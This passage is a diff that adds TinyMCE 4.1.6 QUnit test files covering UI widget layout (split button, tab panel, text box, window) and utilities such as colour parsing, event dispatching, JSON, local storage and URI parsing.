+	test("splitbutton text & icon, size small", function() {
+		var splitButton = createSplitButton({text: 'X', icon: 'test', size: 'small'});
+
+		Utils.nearlyEqualRects(Utils.rect(splitButton), [0, 0, 55, 24], 4);
+	});
+
+	test("splitbutton text & icon, width 100, height 100", function() {
+		var splitButton = createSplitButton({text: 'X', icon: 'test', width: 100, height: 100});
+
+		deepEqual(Utils.rect(splitButton), [0, 0, 100, 100]);
+		deepEqual(Utils.rect(splitButton.getEl().firstChild), [1, 1, 82, 98]);
+	});
+
+	test("splitbutton click event", function() {
+		var splitButton, clicks = {};
+
+		splitButton = createSplitButton({text: 'X', onclick: function() {clicks.a = 'a';}});
+		splitButton.fire('click', {target: splitButton.getEl().firstChild});
+
+		deepEqual(clicks, {a: 'a'});
+	});
+})();
+
Index: /tags/4.1.6/tests/qunit/editor/tinymce/ui/TabPanel.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/ui/TabPanel.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/ui/TabPanel.js	(revision 33402)
@@ -0,0 +1,133 @@
+(function() {
+	module("tinymce.ui.TabPanel", {
+		setup: function() {
+			document.getElementById('view').innerHTML = '';
+		},
+
+		teardown: function() {
+			tinymce.dom.Event.clean(document.getElementById('view'));
+		}
+	});
+
+	function createTabPanel(settings) {
+		return tinymce.ui.Factory.create(tinymce.extend({
+			type: 'tabpanel',
+			items: [
+				{title: 'a', type: 'spacer', classes: 'red'},
+				{title: 'b', type: 'spacer', classes: 'green'},
+				{title: 'c', type: 'spacer', classes: 'blue'}
+			]
+		}, settings)).renderTo(document.getElementById('view')).reflow();
+	}
+
+	test("panel width: 100, height: 100", function() {
+		var panel = createTabPanel({
+			width: 100,
+			height: 100,
+			layout: 'fit'
+		});
+
+		deepEqual(Utils.rect(panel), [0, 0, 100, 100]);
+		Utils.nearlyEqualRects(Utils.rect(panel.items()[0]), [0, 31, 100, 69], 4);
+	});
+
+	test("panel width: 100, height: 100, border: 1", function() {
+		var panel = createTabPanel({
+			width: 100,
+			height: 100,
+			border: 1,
+			layout: 'fit'
+		});
+
+		deepEqual(Utils.rect(panel), [0, 0, 100, 100]);
+		Utils.nearlyEqualRects(Utils.rect(panel.items()[0]), [0, 31, 100, 69], 4);
+	});
+
+	test("panel width: 100, height: 100, activeTab: 1", function() {
+		var panel = createTabPanel({
+			width: 100,
+			height: 100,
+			activeTab: 1,
+			layout: 'fit'
+		});
+
+		deepEqual(Utils.rect(panel), [0, 0, 100, 100]);
+		Utils.nearlyEqualRects(Utils.rect(panel.items()[1]), [0, 31, 100, 69], 4);
+	});
+
+	test("panel width: auto, height: auto, mixed sized widgets", function() {
+		var panel = createTabPanel({
+			items: [
+				{title: 'a', type: 'spacer', classes: 'red', style: 'width: 100px; height: 100px'},
+				{title: 'b', type: 'spacer', classes: 'green', style: 'width: 70px; height: 70px'},
+				{title: 'c', type: 'spacer', classes: 'blue', style: 'width: 120px; height: 120px'}
+			]
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel), [0, 0, 120, 151], 4);
+		Utils.nearlyEqualRects(Utils.rect(panel.items()[0]), [0, 31, 120, 120], 4);
+
+		panel.activateTab(1);
+		Utils.nearlyEqualRects(Utils.rect(panel.items()[1]), [0, 31, 120, 120], 4);
+
+		panel.activateTab(2);
+		Utils.nearlyEqualRects(Utils.rect(panel.items()[2]), [0, 31, 120, 120], 4);
+	});
+
+	test("panel width: auto, height: auto, mixed sized containers", function() {
+		var panel = createTabPanel({
+			items: [
+				{
+					title: 'a',
+					type: 'panel',
+					layout: 'flex',
+					align: 'stretch',
+					items: {
+						type: 'spacer',
+						classes: 'red',
+						flex: 1,
+						minWidth: 100,
+						minHeight: 100
+					}
+				},
+
+				{
+					title: 'b',
+					type: 'panel',
+					layout: 'flex',
+					align: 'stretch',
+					items: {
+						type: 'spacer',
+						flex: 1,
+						classes: 'green',
+						minWidth: 70,
+						minHeight: 70
+					}
+				},
+
+				{
+					title: 'c',
+					type: 'panel',
+					layout: 'flex',
+					align: 'stretch',
+					items: {
+						type: 'spacer',
+						classes: 'blue',
+						flex: 1,
+						minWidth: 120,
+						minHeight: 120
+					}
+				}
+			]
+		});
+
+		Utils.nearlyEqualRects(Utils.rect(panel), [0, 0, 120, 151], 4);
+		Utils.nearlyEqualRects(Utils.rect(panel.items()[0]), [0, 31, 120, 120], 4);
+
+		panel.activateTab(1);
+		Utils.nearlyEqualRects(Utils.rect(panel.items()[1]), [0, 31, 120, 120], 4);
+
+		panel.activateTab(2);
+		Utils.nearlyEqualRects(Utils.rect(panel.items()[2]), [0, 31, 120, 120], 4);
+	});
+})();
Index: /tags/4.1.6/tests/qunit/editor/tinymce/ui/TextBox.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/ui/TextBox.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/ui/TextBox.js	(revision 33402)
@@ -0,0 +1,29 @@
+(function() {
+	module("tinymce.ui.TextBox", {
+		setup: function() {
+			document.getElementById('view').innerHTML = '';
+		},
+
+		teardown: function() {
+			tinymce.dom.Event.clean(document.getElementById('view'));
+		}
+	});
+
+	function createTextBox(settings) {
+		return tinymce.ui.Factory.create(tinymce.extend({
+			type: 'textbox'
+		}, settings)).renderTo(document.getElementById('view'));
+	}
+
+	test("textbox text, size chars: 5", function() {
+		var textBox = createTextBox({text: 'X', size: 5});
+
+		Utils.nearlyEqualRects(Utils.size(textBox), [69, 30], 30);
+	});
+
+	test("textbox text, size 100x100", function() {
+		var textBox = createTextBox({text: 'X', width: 100, height: 100});
+
+		deepEqual(Utils.size(textBox), [100, 100]);
+	});
+})();
Index: /tags/4.1.6/tests/qunit/editor/tinymce/ui/Window.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/ui/Window.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/ui/Window.js	(revision 33402)
@@ -0,0 +1,87 @@
+(function() {
+	module("tinymce.ui.Window", {
+		setup: function() {
+			document.getElementById('view').innerHTML = '';
+		},
+
+		teardown: function() {
+			tinymce.dom.Event.clean(document.getElementById('view'));
+			tinymce.DOM.remove(document.getElementById('mce-modal-block'));
+		}
+	});
+
+	function createWindow(settings) {
+		return tinymce.ui.Factory.create(tinymce.extend({
+			type: 'window'
+		}, settings)).renderTo(document.getElementById('view')).reflow();
+	}
+
+	test("window x, y, w, h", function() {
+		var win = createWindow({x: 100, y: 120, width: 200, height: 210});
+
+		Utils.nearlyEqualRects(Utils.size(win), [200, 210]);
+	});
+
+	test("no title, no buttonbar, autoResize", function() {
+		var win = createWindow({
+			x: 100,
+			y: 120,
+			items: [
+				{type: 'spacer', classes: 'red'}
+			]
+		});
+
+		Utils.nearlyEqualRects(Utils.size(win), [22, 22]);
+		Utils.nearlyEqualRects(Utils.size(win.find("spacer")[0]), [20, 20]);
+	});
+
+	test("title, no buttonbar, autoResize, title is widest", function() {
+		var win = createWindow({
+			x: 100,
+			y: 120,
+			title: "XXXXXXXXXXXXXXXXXXXXXX",
+			items: [
+				{type: 'spacer', classes: 'red', flex: 1}
+			]
+		});
+
+		Utils.nearlyEqualRects(Utils.size(win), [326, 61], 60);
+		Utils.nearlyEqualRects(Utils.size(win.find("spacer")[0]), [324, 20], 60);
+	});
+
+	test("buttonbar, autoResize, buttonbar is widest", function() {
+		var win = createWindow({
+			x: 100,
+			y: 120,
+			items: [
+				{type: 'spacer', classes: 'red', flex: 1}
+			],
+			buttons: [
+				{type: 'spacer', classes: 'green', minWidth: 400}
+			]
+		});
+
+		Utils.nearlyEqualRects(Utils.size(win), [422, 63]);
+		Utils.nearlyEqualRects(Utils.size(win.find("spacer")[0]), [420, 20]);
+		Utils.nearlyEqualRects(Utils.size(win.statusbar.find("spacer")[0]), [400, 20]);
+	});
+
+	test("buttonbar, title, autoResize, content is widest", function() {
+		var win = createWindow({
+			x: 100,
+			y: 120,
+			title: "X",
+			items: [
+				{type: 'spacer', classes: 'red', minWidth: 400}
+			],
+			buttons: [
+				{type: 'spacer', classes: 'green'}
+			]
+		});
+
+		Utils.nearlyEqualRects(Utils.size(win), [402, 102]);
+		Utils.nearlyEqualRects(Utils.size(win.getEl("head")), [400, 39]);
+		Utils.nearlyEqualRects(Utils.size(win.find("spacer")[0]), [400, 20]);
+		Utils.nearlyEqualRects(Utils.size(win.statusbar.find("spacer")[0]), [20, 20]);
+	});
+})();
Index: /tags/4.1.6/tests/qunit/editor/tinymce/ui/css/ui-overrides.css
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/ui/css/ui-overrides.css	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/ui/css/ui-overrides.css	(revision 33402)
@@ -0,0 +1,30 @@
+/* Hardcodes sizes since fonts vary on platforms */
+
+.mce-spacer {
+	width: 20px;
+	height: 20px;
+	visibility: visible;
+	border: 0 solid black;
+}
+
+.mce-head .mce-title {
+	width: 100px;
+	height: 20px;
+	display: inline-block;
+}
+
+.mce-btn .mce-txt {
+	width: 20px;
+}
+
+/* Colors used for debugging */
+
+.mce-red {background-color: red;}
+.mce-green {background-color: green;}
+.mce-blue {background-color: blue;}
+.mce-yellow {background-color: yellow;}
+.mce-magenta {background-color: magenta;}
+.mce-cyan {background-color: cyan;}
+.mce-dotted {background-image: url(../img/raster.gif);}
+.mce-i-test {background: red;}
+ 
Index: /tags/4.1.6/tests/qunit/editor/tinymce/util/Color.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/util/Color.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/util/Color.js	(revision 33402)
@@ -0,0 +1,36 @@
+(function() {
+	module("tinymce.util.Color");
+
+	var Color = tinymce.util.Color;
+	
+	test("Constructor", function() {
+		equal(new Color().toHex(), '#000000');
+		equal(new Color('#faebcd').toHex(), '#faebcd');
+	});
+
+	test("parse method", function() {
+		var color = new Color();
+
+		equal(color.parse('#faebcd').toHex(), '#faebcd');
+		equal(color.parse('#ccc').toHex(), '#cccccc');
+		equal(color.parse(' #faebcd ').toHex(), '#faebcd');
+		equal(color.parse('rgb(255,254,253)').toHex(), '#fffefd');
+		equal(color.parse(' rgb ( 255 , 254 , 253 ) ').toHex(), '#fffefd');
+		equal(color.parse({r: 255, g: 254, b: 253}).toHex(), '#fffefd');
+		equal(color.parse({h: 359, s: 50, v: 50}).toHex(), '#804041');
+		equal(color.parse({r: 700, g: 700, b: 700}).toHex(), '#ffffff');
+		equal(color.parse({r: -1, g: -10, b: -20}).toHex(), '#000000');
+	});
+
+	test("toRgb method", function() {
+		deepEqual(new Color('#faebcd').toRgb(), {r: 250, g: 235, b: 205});
+	});
+
+	test("toHsv method", function() {
+		deepEqual(new Color('#804041').toHsv(), {h: 359, s: 50, v: 50});
+	});
+
+	test("toHex method", function() {
+		equal(new Color({r: 255, g: 254, b: 253}).toHex(), '#fffefd');
+	});
+})();
Index: /tags/4.1.6/tests/qunit/editor/tinymce/util/EventDispatcher.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/util/EventDispatcher.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/util/EventDispatcher.js	(revision 33402)
@@ -0,0 +1,255 @@
+module("tinymce.util.EventDispatcher");
+
+test("fire (no event listeners)", function() {
+	var dispatcher = new tinymce.util.EventDispatcher(), args;
+
+	args = dispatcher.fire('click', {test: 1});
+	equal(args.test, 1);
+	equal(args.isDefaultPrevented(), false);
+	equal(args.isPropagationStopped(), false);
+	equal(args.isImmediatePropagationStopped(), false);
+	strictEqual(args.target, dispatcher);
+
+	args = dispatcher.fire('click');
+	equal(args.isDefaultPrevented(), false);
+	equal(args.isPropagationStopped(), false);
+	equal(args.isImmediatePropagationStopped(), false);
+});
+
+test("fire (event listeners)", function() {
+	var dispatcher = new tinymce.util.EventDispatcher(), data = '';
+
+	dispatcher.on('click', function() {data += 'a';});
+	dispatcher.on('click', function() {data += 'b';});
+
+	args = dispatcher.fire('click', {test: 1});
+	equal(data, 'ab');
+});
+
+test("fire (event listeners) stopImmediatePropagation", function() {
+	var dispatcher = new tinymce.util.EventDispatcher(), data = '';
+
+	dispatcher.on('click', function(e) { data += 'a'; e.stopImmediatePropagation(); });
+	dispatcher.on('click', function() { data += 'b'; });
+
+	dispatcher.fire('click', {test: 1});
+	equal(data, 'a');
+});
+
+test("on", function() {
+	var dispatcher = new tinymce.util.EventDispatcher(), data = '';
+
+	strictEqual(dispatcher.on('click', function() {data += 'a';}), dispatcher);
+	strictEqual(dispatcher.on('click keydown', function() {data += 'b';}), dispatcher);
+
+	dispatcher.fire('click');
+	equal(data, 'ab');
+
+	dispatcher.fire('keydown');
+	equal(data, 'abb');
+});
+
+test("on (prepend)", function() {
+	var dispatcher = new tinymce.util.EventDispatcher(), data = '';
+
+	strictEqual(dispatcher.on('click', function() {data += 'a';}), dispatcher);
+	strictEqual(dispatcher.on('click', function() {data += 'b';}, true), dispatcher);
+
+	dispatcher.fire('click');
+	equal(data, 'ba');
+});
+
+test("once", function() {
+	var dispatcher = new tinymce.util.EventDispatcher(), data = '';
+
+	strictEqual(dispatcher.on('click', function() {data += 'a';}), dispatcher);
+	strictEqual(dispatcher.once('click', function() {data += 'b';}), dispatcher);
+	strictEqual(dispatcher.on('click', function() {data += 'c';}), dispatcher);
+
+	dispatcher.fire('click');
+	equal(data, 'abc');
+
+	dispatcher.fire('click');
+	equal(data, 'abcac');
+});
+
+test("once (prepend)", function() {
+	var dispatcher = new tinymce.util.EventDispatcher(), data = '';
+
+	strictEqual(dispatcher.on('click', function() {data += 'a';}), dispatcher);
+	strictEqual(dispatcher.once('click', function() {data += 'b';}, true), dispatcher);
+	strictEqual(dispatcher.on('click', function() {data += 'c';}), dispatcher);
+
+	dispatcher.fire('click');
+	equal(data, 'bac');
+
+	dispatcher.fire('click');
+	equal(data, 'bacac');
+});
+
+test("once (unbind)", function() {
+	var dispatcher = new tinymce.util.EventDispatcher(), data = '';
+
+	function handler() {
+		data += 'b';
+	}
+
+	dispatcher.once('click', function() {data += 'a';});
+	dispatcher.once('click', handler);
+	dispatcher.off('click', handler);
+
+	dispatcher.fire('click');
+	equal(data, 'a');
+});
+
+test("once (multiple events)", function() {
+	var dispatcher = new tinymce.util.EventDispatcher(), data = '';
+
+	dispatcher.once('click', function() {data += 'a';});
+	dispatcher.once('keydown', function() {data += 'b';});
+
+	dispatcher.fire('click');
+	equal(data, 'a');
+
+	dispatcher.fire('keydown');
+	equal(data, 'ab');
+
+	dispatcher.fire('click');
+	dispatcher.fire('keydown');
+
+	equal(data, 'ab');
+});
+
+test("off (all)", function() {
+	var dispatcher = new tinymce.util.EventDispatcher(), data = '';
+
+	function listenerA() { data += 'a'; }
+	function listenerB() { data += 'b'; }
+	function listenerC() { data += 'c'; }
+
+	dispatcher.on('click', listenerA);
+	dispatcher.on('click', listenerB);
+	dispatcher.on('keydown', listenerC);
+
+	dispatcher.off();
+
+	data = '';
+	dispatcher.fire('click');
+	dispatcher.fire('keydown');
+	equal(data, '');
+});
+
+test("off (all named)", function() {
+	var dispatcher = new tinymce.util.EventDispatcher(), data = '';
+
+	function listenerA() { data += 'a'; }
+	function listenerB() { data += 'b'; }
+	function listenerC() { data += 'c'; }
+
+	dispatcher.on('click', listenerA);
+	dispatcher.on('click', listenerB);
+	dispatcher.on('keydown', listenerC);
+
+	dispatcher.off('click');
+
+	data = '';
+	dispatcher.fire('click');
+	dispatcher.fire('keydown');
+	equal(data, 'c');
+});
+
+test("off (all specific observer)", function() {
+	var dispatcher = new tinymce.util.EventDispatcher(), data = '';
+
+	function listenerA() { data += 'a'; }
+	function listenerB() { data += 'b'; }
+
+	dispatcher.on('click', listenerA);
+	dispatcher.on('click', listenerB);
+	dispatcher.off('click', listenerB);
+
+	data = '';
+	dispatcher.fire('click');
+	equal(data, 'a');
+});
+
+test("scope setting", function() {
+	var lastScope, lastEvent, dispatcher;
+
+	dispatcher = new tinymce.util.EventDispatcher();
+	dispatcher.on('click', function() {
+		lastScope = this;
+	}).fire('click');
+	strictEqual(dispatcher, lastScope);
+
+	var scope = {test: 1};
+	dispatcher = new tinymce.util.EventDispatcher({scope: scope});
+	dispatcher.on('click', function(e) {
+		lastScope = this;
+		lastEvent = e;
+	}).fire('click');
+	strictEqual(scope, lastScope);
+	strictEqual(lastEvent.target, lastScope);
+});
+
+test("beforeFire setting", function() {
+	var lastArgs, dispatcher, args;
+
+	dispatcher = new tinymce.util.EventDispatcher({
+		beforeFire: function(args) {
+			lastArgs = args;
+		}
+	});
+
+	args = dispatcher.fire('click');
+	strictEqual(lastArgs, args);
+});
+
+test("beforeFire setting (stopImmediatePropagation)", function() {
+	var lastArgs, dispatcher, args, data = '';
+
+	dispatcher = new tinymce.util.EventDispatcher({
+		beforeFire: function(args) {
+			lastArgs = args;
+			args.stopImmediatePropagation();
+		}
+	});
+
+	function listenerA() { data += 'a'; }
+
+	dispatcher.on('click', listenerA);
+	args = dispatcher.fire('click');
+	strictEqual(lastArgs, args);
+	strictEqual(data, '');
+});
+
+test("toggleEvent setting", function() {
+	var lastName, lastState;
+
+	dispatcher = new tinymce.util.EventDispatcher({
+		toggleEvent: function(name, state) {
+			lastName = name;
+			lastState = state;
+		}
+	});
+
+	function listenerA() { data += 'a'; }
+	function listenerB() { data += 'b'; }
+
+	dispatcher.on('click', listenerA);
+	strictEqual(lastName, 'click');
+	strictEqual(lastState, true);
+
+	lastName = lastState = null;
+	dispatcher.on('click', listenerB);
+	strictEqual(lastName, null);
+	strictEqual(lastState, null);
+
+	dispatcher.off('click', listenerA);
+	strictEqual(lastName, null);
+	strictEqual(lastState, null);
+
+	dispatcher.off('click', listenerB);
+	strictEqual(lastName, 'click');
+	strictEqual(lastState, false);
+});
Index: /tags/4.1.6/tests/qunit/editor/tinymce/util/JSON.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/util/JSON.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/util/JSON.js	(revision 33402)
@@ -0,0 +1,31 @@
+module("tinymce.util.JSON");
+
+test('serialize', 2, function() {
+	equal(
+		tinymce.util.JSON.serialize({
+			arr1 : [1, 2, 3, [1, 2, 3]],
+			bool1 : true,
+			float1: 3.14,
+			int1 : 123,
+			null1 : null,
+			obj1 : {key1 : "val1", key2 : "val2"}, str1 : '\"\'abc\u00C5123\\'}
+		),
+		'{"arr1":[1,2,3,[1,2,3]],"bool1":true,"float1":3.14,"int1":123,"null1":null,"obj1":{"key1":"val1","key2":"val2"},"str1":"\\"\'abc\\u00c5123\\\\"}'
+	);
+
+	equal(
+		tinymce.util.JSON.serialize({
+			arr1 : [1, 2, 3, [1, 2, 3]],
+			bool1 : true,
+			float1: 3.14,
+			int1 : 123,
+			null1 : null,
+			obj1 : {key1 : "val1", key2 : "val2"}, str1 : '\"\'abc\u00C5123'}, "'"
+		),
+		"{'arr1':[1,2,3,[1,2,3]],'bool1':true,'float1':3.14,'int1':123,'null1':null,'obj1':{'key1':'val1','key2':'val2'},'str1':'\\\"\\'abc\\u00c5123'}"
+	);
+});
+
+test('parse', 1, function() {
+	equal(tinymce.util.JSON.parse('{"arr1":[1,2,3,[1,2,3]],"bool1":true,"float1":3.14,"int1":123,"null1":null,"obj1":{"key1":"val1","key2":"val2"},"str1":"abc\\u00c5123"}').str1, 'abc\u00c5123');
+});
Index: /tags/4.1.6/tests/qunit/editor/tinymce/util/JSONRequest.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/util/JSONRequest.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/util/JSONRequest.js	(revision 33402)
@@ -0,0 +1,55 @@
+if (location.protocol != "file:") {
+	module("tinymce.util.JSONRequest");
+
+	asyncTest("Successful request - send method", function() {
+		expect(1);
+
+		new tinymce.util.JSONRequest({}).send({
+			type : 'GET',
+			url : 'tinymce/util/json_rpc_ok.js',
+			success: function(data) {
+				equal(data, 'Hello JSON-RPC');
+				start();
+			}
+		});
+	});
+
+	asyncTest("Successful request - sendRPC static method", function() {
+		expect(1);
+
+		tinymce.util.JSONRequest.sendRPC({
+			type : 'GET',
+			url : 'tinymce/util/json_rpc_ok.js',
+			success: function(data) {
+				equal(data, 'Hello JSON-RPC');
+				start();
+			}
+		});
+	});
+
+	asyncTest("Error request - send method", function() {
+		expect(1);
+
+		new tinymce.util.JSONRequest({}).send({
+			type : 'GET',
+			url : 'tinymce/util/json_rpc_error.js',
+			error: function(error) {
+				equal(error.code, 42);
+				start();
+			}
+		});
+	});
+
+	asyncTest("Error request - sendRPC static method", function() {
+		expect(1);
+
+		tinymce.util.JSONRequest.sendRPC({
+			type : 'GET',
+			url : 'tinymce/util/json_rpc_error.js',
+			error: function(error) {
+				equal(error.code, 42);
+				start();
+			}
+		});
+	});
+}
Index: /tags/4.1.6/tests/qunit/editor/tinymce/util/LocalStorage.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/util/LocalStorage.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/util/LocalStorage.js	(revision 33402)
@@ -0,0 +1,99 @@
+(function() {
+	var LocalStorage = tinymce.util.LocalStorage;
+
+	module("tinymce.util.LocalStorage", {
+		setup: function() {
+			LocalStorage.clear();
+		},
+
+		teardown: function() {
+			LocalStorage.clear();
+		}
+	});
+
+	QUnit.config.reorder = false;
+
+	test('setItem', function() {
+		LocalStorage.setItem("a", "1");
+		equal(LocalStorage.getItem("a"), "1");
+		LocalStorage.setItem("a", "2");
+		equal(LocalStorage.getItem("a"), "2");
+		LocalStorage.setItem("a", 3);
+		equal(LocalStorage.getItem("a"), "3");
+		LocalStorage.setItem("a", null);
+		equal(LocalStorage.getItem("a"), "null");
+		LocalStorage.setItem("a", undefined);
+		equal(LocalStorage.getItem("a"), "undefined");
+		LocalStorage.setItem("a", new Date(0));
+		equal(LocalStorage.getItem("a"), new Date(0).toString());
+	});
+
+	test('getItem', function() {
+		LocalStorage.setItem("a", "1");
+		equal(LocalStorage.getItem("a"), "1");
+		LocalStorage.setItem("a", "0");
+		equal(LocalStorage.getItem("a"), "0");
+		equal(LocalStorage.getItem("b"), null);
+	});
+
+	test('removeItem', function() {
+		LocalStorage.setItem("a", "1");
+		equal(LocalStorage.getItem("a"), "1");
+		LocalStorage.removeItem("a");
+		equal(LocalStorage.getItem("a"), null);
+	});
+
+	test('key', function() {
+		LocalStorage.setItem("a", "1");
+		equal(LocalStorage.key(0), "a");
+		equal(LocalStorage.length, 1);
+	});
+
+	test('length', function() {
+		equal(LocalStorage.length, 0);
+		LocalStorage.setItem("a", "1");
+		equal(LocalStorage.length, 1);
+	});
+
+	test('clear', function() {
+		equal(LocalStorage.length, 0);
+		LocalStorage.setItem("a", "1");
+		equal(LocalStorage.length, 1);
+	});
+
+	test('setItem key and value with commas', function() {
+		LocalStorage.setItem("a,1", "1,2");
+		LocalStorage.setItem("b,2", "2,3");
+		equal(LocalStorage.getItem("a,1"), "1,2");
+		equal(LocalStorage.getItem("b,2"), "2,3");
+	});
+
+	test('setItem with two large values', function() {
+		var data = "";
+
+		for (var i = 0; i < 1024; i++) {
+			data += 'x';
+		}
+
+		LocalStorage.clear();
+		LocalStorage.setItem("a", data + "1");
+		LocalStorage.setItem("b", data);
+		equal(LocalStorage.getItem("a").length, 1024 + 1);
+		equal(LocalStorage.getItem("b").length, 1024);
+	});
+
+	test('setItem with two large keys', function() {
+		var key = "";
+
+		for (var i = 0; i < 1024; i++) {
+			key += 'x';
+		}
+
+		LocalStorage.clear();
+		LocalStorage.setItem(key + "1", "a");
+		LocalStorage.setItem(key + "2", "b");
+		equal(LocalStorage.key(0), key + "1");
+		equal(LocalStorage.key(1), key + "2");
+	});
+})();
+
Index: /tags/4.1.6/tests/qunit/editor/tinymce/util/Observable.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/util/Observable.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/util/Observable.js	(revision 33402)
@@ -0,0 +1,46 @@
+module("tinymce.util.Observable");
+
+test("Event bubbling/removed state", function() {
+	var lastName, lastState, data = '';
+
+	function Class(parentObj) {
+		this.toggleNativeEvent = function(name, state) {
+			lastName = name;
+			lastState = state;
+		};
+
+		this.parent = function() {
+			return parentObj;
+		};
+	}
+
+	tinymce.util.Tools.extend(Class.prototype, tinymce.util.Observable);
+
+	var inst1 = new Class();
+
+	inst1.on('click', function() { data += 'a'; });
+	strictEqual(lastName, 'click');
+	strictEqual(lastState, true);
+
+	lastName = lastState = null;
+	inst1.on('click', function() { data += 'b'; });
+	strictEqual(lastName, null);
+	strictEqual(lastState, null);
+
+	var inst2 = new Class(inst1);
+	inst2.on('click', function() { data += 'c'; });
+
+	inst2.fire('click');
+	strictEqual(data, 'cab');
+
+	inst2.on('click', function(e) { e.stopPropagation(); });
+
+	inst2.fire('click');
+	strictEqual(data, 'cabc');
+
+	inst1.on('remove', function() { data += 'r'; });
+	inst1.removed = true;
+	inst1.fire('click');
+	inst1.fire('remove');
+	strictEqual(data, 'cabcr');
+});
Index: /tags/4.1.6/tests/qunit/editor/tinymce/util/Quirks_webkit.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/util/Quirks_webkit.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/util/Quirks_webkit.js	(revision 33402)
@@ -0,0 +1,99 @@
+module("tinymce.utils.Quirks_WebKit", {
+	setupModule: function() {
+		QUnit.stop();
+
+		tinymce.init({
+			selector: "textarea",
+			elements: "elm1",
+			plugins: wpPlugins,
+			add_unload_trigger: false,
+			skin: false,
+			indent: false,
+			disable_nodechange: true,
+			init_instance_callback : function(ed) {
+				window.editor = ed;
+				QUnit.start();
+			}
+		});
+	}
+});
+
+if (tinymce.isWebKit) {
+	test('Delete from beginning of P into H1', function() {
+		editor.getBody().innerHTML ='<h1>a</h1><p>b</p>';
+		Utils.setSelection('p', 0);
+		editor.execCommand('Delete');
+		equal(Utils.cleanHtml(editor.getBody().innerHTML), '<h1>ab</h1>');
+		equal(editor.selection.getStart().nodeName, 'H1');
+	});
+
+	test('Delete whole H1 before P', function() {
+		editor.getBody().innerHTML ='<h1>a</h1><p>b</p>';
+
+		var rng = editor.selection.getRng();
+		rng.setStartBefore(editor.getBody().firstChild);
+		rng.setEndAfter(editor.getBody().firstChild);
+		editor.selection.setRng(rng);
+
+		editor.execCommand('Delete');
+		equal(Utils.cleanHtml(editor.getBody().innerHTML), '<h1>b<br></h1>');
+		equal(editor.selection.getStart().nodeName, 'H1');
+	});
+
+	test('Delete from beginning of P with style span inside into H1', function() {
+		editor.getBody().innerHTML ='<h1>a</h1><p>b<span style="color:red">c</span></p>';
+		Utils.setSelection('p', 0);
+		editor.execCommand('Delete');
+		equal(Utils.normalizeHtml(Utils.cleanHtml(editor.getBody().innerHTML)), '<h1>ab<span data-mce-style="color: red;" style="color: red;">c</span></h1>');
+		equal(editor.selection.getStart().nodeName, 'H1');
+	});
+
+	test('ForwardDelete from end of H1 into P', function() {
+		editor.getBody().innerHTML ='<h1>a</h1><p>b</p>';
+		Utils.setSelection('h1', 1);
+		editor.execCommand('ForwardDelete');
+		equal(Utils.cleanHtml(editor.getBody().innerHTML), '<h1>ab</h1>');
+		equal(editor.selection.getStart().nodeName, 'H1');
+	});
+
+	test('ForwardDelete whole H1 before P', function() {
+		editor.getBody().innerHTML ='<h1>a</h1><p>b</p>';
+
+		var rng = editor.selection.getRng();
+		rng.setStartBefore(editor.getBody().firstChild);
+		rng.setEndAfter(editor.getBody().firstChild);
+		editor.selection.setRng(rng);
+
+		editor.execCommand('ForwardDelete');
+		equal(Utils.cleanHtml(editor.getBody().innerHTML), '<h1>b<br></h1>');
+		equal(editor.selection.getStart().nodeName, 'H1');
+	});
+
+	test('ForwardDelete from end of H1 into P with style span inside', function() {
+		editor.getBody().innerHTML ='<h1>a</h1><p>b<span style="color: #010203">c</span></p>';
+		Utils.setSelection('h1', 1);
+		editor.execCommand('ForwardDelete');
+		equal(editor.getContent(), '<h1>ab<span style="color: #010203;">c</span></h1>');
+		equal(editor.selection.getStart().nodeName, 'H1');
+	});
+
+	test('Backspace key from beginning of P into H1', function() {
+		editor.getBody().innerHTML ='<h1>a</h1><p>b</p>';
+		Utils.setSelection('p', 0);
+		editor.fire("keydown", {keyCode: 8});
+		equal(Utils.cleanHtml(editor.getBody().innerHTML), '<h1>ab</h1>');
+		equal(editor.selection.getStart().nodeName, 'H1');
+	});
+
+	test('Delete key from end of H1 into P', function() {
+		editor.getBody().innerHTML ='<h1>a</h1><p>b</p>';
+		Utils.setSelection('h1', 1);
+		editor.fire("keydown", {keyCode: 46});
+		equal(Utils.cleanHtml(editor.getBody().innerHTML), '<h1>ab</h1>');
+		equal(editor.selection.getStart().nodeName, 'H1');
+	});
+} else {
+	test("Skipped since the browser isn't WebKit", function() {
+		ok(true, "Skipped");
+	});
+}
Index: /tags/4.1.6/tests/qunit/editor/tinymce/util/URI.js
===================================================================
--- /tags/4.1.6/tests/qunit/editor/tinymce/util/URI.js	(revision 33402)
+++ /tags/4.1.6/tests/qunit/editor/tinymce/util/URI.js	(revision 33402)
@@ -0,0 +1,104 @@
+module("tinymce.util.URI");
+
+test('protocol relative url', function() {
+	var uri = new tinymce.util.URI('//www.site.com/dir1/file?query#hash');
+
+	equal(uri.protocol, "");
+	equal(uri.host, "www.site.com");
+	equal(uri.path, "/dir1/file");
+	equal(uri.query, "query");
+	equal(uri.anchor, "hash");
+	equal(uri.source, "//www.site.com/dir1/file?query#hash");
+	equal(uri.getURI(), "//www.site.com/dir1/file?query#hash");
